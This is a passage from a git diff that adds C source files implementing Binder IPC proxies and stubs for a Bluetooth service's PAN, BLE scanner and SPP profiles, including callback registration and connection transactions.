<uchar.h> + +#include <android/binder_manager.h> + +#include "bluetooth.h" +#include "pan_callbacks_stub.h" +#include "pan_proxy.h" +#include "pan_stub.h" +#include "parcel.h" + +#include "utils/log.h" + +static void BpBtPanCallbacks_connectionStateCallback(void* cookie, profile_connection_state_t state, + bt_address_t* bdAddr, uint8_t localRole, + uint8_t remotRole) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = cookie; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, state); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, bdAddr); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)localRole); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)remotRole); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_PAN_CONNECTION_STATE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtPanCallbacks_netIfStateCallback(void* cookie, pan_netif_state_t state, + int localRole, const char* ifName) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = cookie; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, state); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)localRole); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeString(parcelIn, ifName, strlen(ifName)); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_NETIF_STATE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static const pan_callbacks_t static_pan_cbks = { + sizeof(static_pan_cbks), + BpBtPanCallbacks_netIfStateCallback, + BpBtPanCallbacks_connectionStateCallback, +}; + +const pan_callbacks_t* BpBtPanCallbacks_getStatic(void) +{ + return &static_pan_cbks; +} diff --git a/service/ipc/binder/src/pan_callbacks_stub.c b/service/ipc/binder/src/pan_callbacks_stub.c new file mode 100644 index 0000000000000000000000000000000000000000..7d4b26246022683ea23de161e7417091ee7eed2f --- /dev/null +++ b/service/ipc/binder/src/pan_callbacks_stub.c @@ -0,0 +1,161 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <stdio.h> +#include <stdlib.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "binder_utils.h" +#include "pan_callbacks_stub.h" +#include "pan_proxy.h" +#include "pan_stub.h" +#include "parcel.h" + +#include "bluetooth.h" +#include "utils/log.h" + +#define BT_PAN_CALLBACK_DESC "BluetoothPanCallback" + +static const AIBinder_Class* kIBtPanCallbacks_Class = NULL; + +static void* IBtPanCallbacks_Class_onCreate(void* arg) +{ + return arg; +} + +static void IBtPanCallbacks_Class_onDestroy(void* userData) +{ +} + +static binder_status_t IBtPanCallbacks_Class_onTransact(AIBinder* binder, transaction_code_t code, const AParcel* in, AParcel* out) +{ + binder_status_t stat = STATUS_FAILED_TRANSACTION; + IBtPanCallbacks* cbks = AIBinder_getUserData(binder); + + switch (code) { + case ICBKS_PAN_CONNECTION_STATE: { + uint32_t state; + bt_address_t addr; + uint32_t localRole, remoteRole; + + stat = AParcel_readUint32(in, &state); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &localRole); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &remoteRole); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->connection_state_cb(cbks, state, &addr, (uint8_t)localRole, (uint8_t)remoteRole); + break; + } + case ICBKS_NETIF_STATE: { + uint32_t state; + char* ifName = NULL; + uint32_t localRole; + + stat = AParcel_readUint32(in, &state); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &localRole); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readString(in, &ifName, AParcelUtils_stringAllocator); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->netif_state_cb(cbks, state, localRole, ifName); + free(ifName); + break; + } + default: + break; + } + + return stat; +} + +AIBinder* BtPanCallbacks_getBinder(IBtPanCallbacks* cbks) +{ + AIBinder* binder = NULL; + + if (cbks->WeakBinder != NULL) { + binder = AIBinder_Weak_promote(cbks->WeakBinder); + } + + if (binder == NULL) { + binder = AIBinder_new(cbks->clazz, (void*)cbks); + if (cbks->WeakBinder != NULL) { + AIBinder_Weak_delete(cbks->WeakBinder); + } + + cbks->WeakBinder = AIBinder_Weak_new(binder); + } + + return binder; +} + +binder_status_t BtPanCallbacks_associateClass(AIBinder* binder) +{ + if (!kIBtPanCallbacks_Class) { + kIBtPanCallbacks_Class = AIBinder_Class_define(BT_PAN_CALLBACK_DESC, IBtPanCallbacks_Class_onCreate, + IBtPanCallbacks_Class_onDestroy, IBtPanCallbacks_Class_onTransact); + } + + return AIBinder_associateClass(binder, kIBtPanCallbacks_Class); +} + +IBtPanCallbacks* BtPanCallbacks_new(const pan_callbacks_t* callbacks) +{ + AIBinder_Class* clazz; + AIBinder* binder; + IBtPanCallbacks* cbks = malloc(sizeof(IBtPanCallbacks)); + + clazz = AIBinder_Class_define(BT_PAN_CALLBACK_DESC, IBtPanCallbacks_Class_onCreate, + IBtPanCallbacks_Class_onDestroy, IBtPanCallbacks_Class_onTransact); + + cbks->clazz = clazz; + cbks->WeakBinder = NULL; + cbks->callbacks = callbacks; + + binder = BtPanCallbacks_getBinder(cbks); + AIBinder_decStrong(binder); + + return cbks; +} + +void BtPanCallbacks_delete(IBtPanCallbacks* cbks) +{ + assert(cbks); + + if (cbks->WeakBinder) + AIBinder_Weak_delete(cbks->WeakBinder); + + free(cbks); +} diff --git a/service/ipc/binder/src/pan_proxy.c b/service/ipc/binder/src/pan_proxy.c new file mode 100644 index 0000000000000000000000000000000000000000..0490ff57abe80aeb9404c08260d58a9734e1b2bb --- /dev/null +++ b/service/ipc/binder/src/pan_proxy.c @@ -0,0 +1,150 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <string.h> +#include <uchar.h> + +// #include <android/binder_auto_utils.h> +#include <android/binder_manager.h> + +#include "bluetooth.h" +#include "bt_adapter.h" + +#include "pan_proxy.h" +#include "pan_stub.h" +#include "parcel.h" +#include "utils/log.h" + +void* BpBtPan_registerCallback(BpBtPan* bpBinder, AIBinder* cbksBinder) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t cookie; + + if (!bpBinder || !bpBinder->binder) + return NULL; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return NULL; + + stat = AParcel_writeStrongBinder(parcelIn, cbksBinder); + if (stat != STATUS_OK) + return NULL; + + stat = AIBinder_transact(binder, IPAN_REGISTER_CALLBACK, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return NULL; + + stat = AParcel_readUint32(parcelOut, &cookie); + if (stat != STATUS_OK) + return NULL; + + return (void*)cookie; +} + +bool BpBtPan_unRegisterCallback(BpBtPan* bpBinder, void* cookie) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + bool ret; + + if (!bpBinder || !bpBinder->binder) + return false; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return false; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)cookie); + if (stat != STATUS_OK) + return false; + + stat = AIBinder_transact(binder, IPAN_UNREGISTER_CALLBACK, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return false; + + stat = AParcel_readBool(parcelOut, &ret); + if (stat != STATUS_OK) + return false; + + return ret; +} + +bt_status_t BpBtPan_connect(BpBtPan* bpBinder, bt_address_t* addr, uint8_t dstRole, uint8_t srcRole) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)dstRole); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)srcRole); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IPAN_CONNECT, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtPan_disconnect(BpBtPan* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IPAN_DISCONNECT, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} diff --git a/service/ipc/binder/src/pan_stub.c b/service/ipc/binder/src/pan_stub.c new file mode 100644 index 0000000000000000000000000000000000000000..bfa5b1959294bc1d886b99fa5af649106dcb25e2 --- /dev/null +++ b/service/ipc/binder/src/pan_stub.c @@ -0,0 +1,219 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <string.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "bluetooth.h" +#include "pan_service.h" +#include "service_manager.h" + +#include "pan_callbacks_proxy.h" +#include "pan_callbacks_stub.h" +#include "pan_proxy.h" +#include "pan_stub.h" +#include "parcel.h" +#include "utils/log.h" + +#define BT_PAN_DESC "BluetoothPan" + +static void* IBtPan_Class_onCreate(void* arg) +{ + return arg; +} + +static void IBtPan_Class_onDestroy(void* userData) +{ +} + +static binder_status_t IBtPan_Class_onTransact(AIBinder* binder, transaction_code_t code, const AParcel* in, AParcel* reply) +{ + binder_status_t stat = STATUS_FAILED_TRANSACTION; + + pan_interface_t* profile = (pan_interface_t*)service_manager_get_profile(PROFILE_PANU); + if (!profile) + return stat; + + switch (code) { + case IPAN_REGISTER_CALLBACK: { + AIBinder* remote; + + stat = AParcel_readStrongBinder(in, &remote); + if (stat != STATUS_OK) + return stat; + + if (!BtPanCallbacks_associateClass(remote)) { + AIBinder_decStrong(remote); + return STATUS_FAILED_TRANSACTION; + } + + void* cookie = profile->register_callbacks(remote, BpBtPanCallbacks_getStatic()); + stat = AParcel_writeUint32(reply, (uint32_t)cookie); + break; + } + case IPAN_UNREGISTER_CALLBACK: { + AIBinder* remote = NULL; + uint32_t cookie; + + stat = AParcel_readUint32(in, &cookie); + if (stat != STATUS_OK) + return stat; + + bool ret = profile->unregister_callbacks((void**)&remote, (void*)cookie); + if (ret && remote) + AIBinder_decStrong(remote); + + stat = AParcel_writeBool(reply, ret); + break; + } + case IPAN_CONNECT: { + uint32_t status; + bt_address_t addr; + uint32_t dstRole, srcRole; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &dstRole); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &srcRole); + if (stat != STATUS_OK) + return stat; + + status = profile->connect(&addr, dstRole, srcRole); + stat = AParcel_writeUint32(reply, status); + break; + } + case IPAN_DISCONNECT: { + uint32_t status; + bt_address_t addr; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + status = profile->disconnect(&addr); + stat = AParcel_writeUint32(reply, status); + break; + } + default: + break; + } + + return stat; +} + +static const AIBinder_Class* BtPan_getClass(void) +{ + + AIBinder_Class* clazz = AIBinder_Class_define(BT_PAN_DESC, IBtPan_Class_onCreate, + IBtPan_Class_onDestroy, IBtPan_Class_onTransact); + + return clazz; +} + +static AIBinder* BtPan_getBinder(IBtPan* pan) +{ + AIBinder* binder = NULL; + + if (pan->WeakBinder != NULL) { + binder = AIBinder_Weak_promote(pan->WeakBinder); + } + + if (binder == NULL) { + binder = AIBinder_new(pan->clazz, (void*)pan); + if (pan->WeakBinder != NULL) { + AIBinder_Weak_delete(pan->WeakBinder); + } + + pan->WeakBinder = AIBinder_Weak_new(binder); + } + + return binder; +} + +binder_status_t BtPan_addService(IBtPan* pan, const char* instance) +{ + pan->clazz = (AIBinder_Class*)BtPan_getClass(); + AIBinder* binder = BtPan_getBinder(pan); + pan->usr_data = NULL; + + binder_status_t status = AServiceManager_addService(binder, instance); + AIBinder_decStrong(binder); + + return status; +} + +BpBtPan* BpBtPan_new(const char* instance) +{ + AIBinder* binder = NULL; + AIBinder_Class* clazz; + BpBtPan* bpBinder = NULL; + + clazz = (AIBinder_Class*)BtPan_getClass(); + binder = AServiceManager_getService(instance); + if (!binder) + return NULL; + + if (!AIBinder_associateClass(binder, clazz)) + goto bail; + + if (!AIBinder_isRemote(binder)) + goto bail; + + /* linktoDeath ? */ + + bpBinder = malloc(sizeof(*bpBinder)); + if (!bpBinder) + goto bail; + + bpBinder->binder = binder; + bpBinder->clazz = clazz; + + return bpBinder; + +bail: + AIBinder_decStrong(binder); + return NULL; +} + +void BpBtPan_delete(BpBtPan* bpPan) +{ + AIBinder_decStrong(bpPan->binder); + free(bpPan); +} + +AIBinder* BtPan_getService(BpBtPan** bpPan, const char* instance) +{ + BpBtPan* bpBinder = *bpPan; + + if (bpBinder && bpBinder->binder) + return bpBinder->binder; + + bpBinder = BpBtPan_new(instance); + if (!bpBinder) + return NULL; + + *bpPan = bpBinder; + + return bpBinder->binder; +} diff --git a/service/ipc/binder/src/scanner_callbacks_proxy.c b/service/ipc/binder/src/scanner_callbacks_proxy.c new file mode 100644 index 0000000000000000000000000000000000000000..58a5a6477273eef58062593f1c616627cd5e55fe --- /dev/null +++ b/service/ipc/binder/src/scanner_callbacks_proxy.c @@ -0,0 +1,99 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <string.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "bluetooth.h" +#include "parcel.h" +#include "scanner_callbacks_stub.h" + +#include "utils/log.h" + +static void BpBtScannerCallbacks_onScanResult(bt_scanner_t* scanner, ble_scan_result_t* result) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = scanner; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeBleScanResult(parcelIn, result); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_ON_SCAN_RESULT, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtScannerCallbacks_onScanStatus(bt_scanner_t* scanner, uint8_t status) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = scanner; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)status); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_ON_SCAN_START_STATUS, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtScannerCallbacks_onScanStopped(bt_scanner_t* scanner) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = scanner; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_ON_SCAN_STOPPED, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } + AIBinder_decStrong(binder); +} + +static const scanner_callbacks_t static_scanner_cbks = { + sizeof(static_scanner_cbks), + BpBtScannerCallbacks_onScanResult, + BpBtScannerCallbacks_onScanStatus, + BpBtScannerCallbacks_onScanStopped +}; + +const scanner_callbacks_t* BpBtScannerCallbacks_getStatic(void) +{ + return &static_scanner_cbks; +} diff --git a/service/ipc/binder/src/scanner_callbacks_stub.c b/service/ipc/binder/src/scanner_callbacks_stub.c new file mode 100644 index 0000000000000000000000000000000000000000..83de7cc11861dbfc4e593c49585ef294913d5f7a --- /dev/null +++ b/service/ipc/binder/src/scanner_callbacks_stub.c @@ -0,0 +1,141 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <stdio.h> +#include <stdlib.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "binder_utils.h" +#include "parcel.h" +#include "scanner_callbacks_stub.h" + +#include "bluetooth.h" +#include "utils/log.h" + +#define BT_SCANNER_CALLBACK_DESC "BluetoothScannerCallback" + +static const AIBinder_Class* kIBtScannerCallbacks_Class = NULL; + +static void* IBtScannerCallbacks_Class_onCreate(void* arg) +{ + return arg; +} + +static void IBtScannerCallbacks_Class_onDestroy(void* userData) +{ +} + +static binder_status_t IBtScannerCallbacks_Class_onTransact(AIBinder* binder, transaction_code_t code, const AParcel* in, AParcel* out) +{ + binder_status_t stat = STATUS_FAILED_TRANSACTION; + IBtScannerCallbacks* cbks = AIBinder_getUserData(binder); + + switch (code) { + case ICBKS_ON_SCAN_RESULT: { + ble_scan_result_t* result = NULL; + + stat = AParcel_readBleScanResult(in, &result); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->on_scan_result(cbks, result); + free(result); + break; + } + case ICBKS_ON_SCAN_START_STATUS: { + uint32_t status; + + stat = AParcel_readUint32(in, &status); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->on_scan_start_status(cbks, (uint8_t)status); + break; + } + case ICBKS_ON_SCAN_STOPPED: { + cbks->callbacks->on_scan_stopped(cbks); + BtScannerCallbacks_delete(cbks); + stat = STATUS_OK; + break; + } + default: + break; + } + + return stat; +} + +AIBinder* BtScannerCallbacks_getBinder(IBtScannerCallbacks* cbks) +{ + AIBinder* binder = NULL; + + if (cbks->WeakBinder != NULL) { + binder = AIBinder_Weak_promote(cbks->WeakBinder); + } + + if (binder == NULL) { + binder = AIBinder_new(cbks->clazz, (void*)cbks); + if (cbks->WeakBinder != NULL) { + AIBinder_Weak_delete(cbks->WeakBinder); + } + + cbks->WeakBinder = AIBinder_Weak_new(binder); + } + + return binder; +} + +binder_status_t BtScannerCallbacks_associateClass(AIBinder* binder) +{ + if (!kIBtScannerCallbacks_Class) { + kIBtScannerCallbacks_Class = AIBinder_Class_define(BT_SCANNER_CALLBACK_DESC, IBtScannerCallbacks_Class_onCreate, + IBtScannerCallbacks_Class_onDestroy, IBtScannerCallbacks_Class_onTransact); + } + + return AIBinder_associateClass(binder, kIBtScannerCallbacks_Class); +} + +IBtScannerCallbacks* BtScannerCallbacks_new(const scanner_callbacks_t* callbacks) +{ + AIBinder_Class* clazz; + AIBinder* binder; + IBtScannerCallbacks* cbks = malloc(sizeof(IBtScannerCallbacks)); + + clazz = AIBinder_Class_define(BT_SCANNER_CALLBACK_DESC, IBtScannerCallbacks_Class_onCreate, + IBtScannerCallbacks_Class_onDestroy, IBtScannerCallbacks_Class_onTransact); + + cbks->clazz = clazz; + cbks->WeakBinder = NULL; + cbks->callbacks = callbacks; + + binder = BtScannerCallbacks_getBinder(cbks); + AIBinder_decStrong(binder); + + return cbks; +} + +void BtScannerCallbacks_delete(IBtScannerCallbacks* cbks) +{ + assert(cbks); + + if (cbks->WeakBinder) + AIBinder_Weak_delete(cbks->WeakBinder); + + free(cbks); +} diff --git a/service/ipc/binder/src/spp_callbacks_proxy.c b/service/ipc/binder/src/spp_callbacks_proxy.c new file mode 100644 index 0000000000000000000000000000000000000000..35aba4d7c1249a181fc465e9de29aa8db927d095 --- /dev/null +++ b/service/ipc/binder/src/spp_callbacks_proxy.c @@ -0,0 +1,108 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <string.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "bluetooth.h" +#include "parcel.h" +#include "spp_callbacks_stub.h" +#include "spp_proxy.h" +#include "spp_stub.h" + +#include "utils/log.h" + +static void BpBtSppCallbacks_connectionStateCallback(void* handle, bt_address_t* addr, + uint16_t scn, uint16_t port, + profile_connection_state_t state) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = handle; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)scn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)port); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, state); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_SPP_CONNECTION_STATE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtSppCallbacks_ptyOpenCallback(void* handle, bt_address_t* addr, uint16_t scn, uint16_t port, char* name) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = handle; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)scn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)port); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeString(parcelIn, name, name ? strlen(name) : -1); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_PTY_OPEN, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static const spp_callbacks_t static_spp_cbks = { + sizeof(static_spp_cbks), + BpBtSppCallbacks_ptyOpenCallback, + BpBtSppCallbacks_connectionStateCallback, +}; + +const spp_callbacks_t* BpBtSppCallbacks_getStatic(void) +{ + return &static_spp_cbks; +} diff --git a/service/ipc/binder/src/spp_callbacks_stub.c b/service/ipc/binder/src/spp_callbacks_stub.c new file mode 100644 index 0000000000000000000000000000000000000000..72caf483456b9d5bad4207a48964d1f97538b983 --- /dev/null +++ b/service/ipc/binder/src/spp_callbacks_stub.c @@ -0,0 +1,165 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <stdio.h> +#include <stdlib.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "binder_utils.h" +#include "parcel.h" +#include "spp_callbacks_stub.h" +#include "spp_proxy.h" +#include "spp_stub.h" + +#include "bluetooth.h" +#include "utils/log.h" + +#define BT_SPP_CALLBACK_DESC "BluetoothSppCallback" + +static const AIBinder_Class* kIBtSppCallbacks_Class = NULL; + +static void* IBtSppCallbacks_Class_onCreate(void* arg) +{ + return arg; +} + +static void IBtSppCallbacks_Class_onDestroy(void* userData) +{ +} + +static binder_status_t IBtSppCallbacks_Class_onTransact(AIBinder* binder, transaction_code_t code, const AParcel* in, AParcel* out) +{ + binder_status_t stat = STATUS_FAILED_TRANSACTION; + IBtSppCallbacks* cbks = AIBinder_getUserData(binder); + bt_address_t addr; + uint32_t scn, port; + + switch (code) { + case ICBKS_PTY_OPEN: { + char* name = NULL; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &scn); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &port); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readString(in, &name, AParcelUtils_stringAllocator); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->pty_open_cb(cbks, &addr, (uint16_t)scn, (uint16_t)port, name); + free(name); + + break; + } + case ICBKS_SPP_CONNECTION_STATE: { + + uint32_t state; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &scn); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &port); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &state); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->connection_state_cb(cbks, &addr, (uint16_t)scn, (uint16_t)port, state); + break; + } + default: + break; + } + + return stat; +} + +AIBinder* BtSppCallbacks_getBinder(IBtSppCallbacks* cbks) +{ + AIBinder* binder = NULL; + + if (cbks->WeakBinder != NULL) { + binder = AIBinder_Weak_promote(cbks->WeakBinder); + } + + if (binder == NULL) { + binder = AIBinder_new(cbks->clazz, (void*)cbks); + if (cbks->WeakBinder != NULL) { + AIBinder_Weak_delete(cbks->WeakBinder); + } + + cbks->WeakBinder = AIBinder_Weak_new(binder); + } + + return binder; +} + +binder_status_t BtSppCallbacks_associateClass(AIBinder* binder) +{ + if (!kIBtSppCallbacks_Class) { + kIBtSppCallbacks_Class = AIBinder_Class_define(BT_SPP_CALLBACK_DESC, IBtSppCallbacks_Class_onCreate, + IBtSppCallbacks_Class_onDestroy, IBtSppCallbacks_Class_onTransact); + } + + return AIBinder_associateClass(binder, kIBtSppCallbacks_Class); +} + +IBtSppCallbacks* BtSppCallbacks_new(const spp_callbacks_t* callbacks) +{ + AIBinder_Class* clazz; + AIBinder* binder; + IBtSppCallbacks* cbks = malloc(sizeof(IBtSppCallbacks)); + + clazz = AIBinder_Class_define(BT_SPP_CALLBACK_DESC, IBtSppCallbacks_Class_onCreate, + IBtSppCallbacks_Class_onDestroy, IBtSppCallbacks_Class_onTransact); + + cbks->clazz = clazz; + cbks->WeakBinder = NULL; + cbks->callbacks = callbacks; + + binder = BtSppCallbacks_getBinder(cbks); + 